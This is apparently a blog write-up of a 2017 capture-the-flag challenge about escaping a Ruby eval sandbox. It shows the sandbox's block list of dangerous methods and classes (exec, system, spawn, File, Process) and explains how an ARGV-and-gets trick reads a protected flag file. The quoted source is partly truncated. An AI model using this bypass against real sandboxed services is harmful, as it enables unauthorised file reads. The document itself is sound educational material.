HITCON 2017 CTF Baby Ruby Escaping

The HITCON 2017 CTF “Baby Ruby Escaping” challenge had the following description:

And the attached Ruby file was:

#!/usr/bin/env ruby

require 'readline'

proc {
  my_exit = Kernel.method(:exit!)
  my_puts = $stdout.method(:puts)
  ObjectSpace.each_object(Module) { |m| m.freeze if m != Readline }
  set_trace_func proc { |event, file, line, id, binding, klass|
    bad_id = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system/
    bad_class = /(?<!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread/
    if event =~ /class/ || (event =~ /call/ && (id =~ bad_id || klass.to_s =~ bad_class))
      my_puts.call "\e[1;31m== Hacker Detected (#{$&}) ==\e[0m"

loop do
  line = Readline.readline('baby> ', true)
  puts '=> ' + eval(line, TOPLEVEL_BINDING).inspect

Connecting to on port 50216 we got the baby>  prompt and any entered Ruby code was executed except of course when it was blacklisted.

We were stuck with this for a while, nothing useful would execute. Until we noticed that all other challenges had only a “nc $ip $port” as the description and this one said: socat FILE:$(tty),raw,echo=0 TCP:

Of course, readline was implemented in this script. Connecting with the above socat and pressing TAB twice gave us:


Now we at least knew the filename to read was thanks_readline_for_completing_the_name_of_flag.

Again stuck on this for a while. We couldn’t load any new modules, we tried opening files in all the ways we could find and went through the Kernel module methods and finally found this way in the example of gets which worked:

baby> ARGV << 'thanks_readline_for_completing_the_name_of_flag'
=> ["thanks_readline_for_completing_the_name_of_flag"]
baby> print while gets
hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}
=> nil

That’s it, the flag was: hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}

Leave a Reply

Your email address will not be published. Required fields are marked *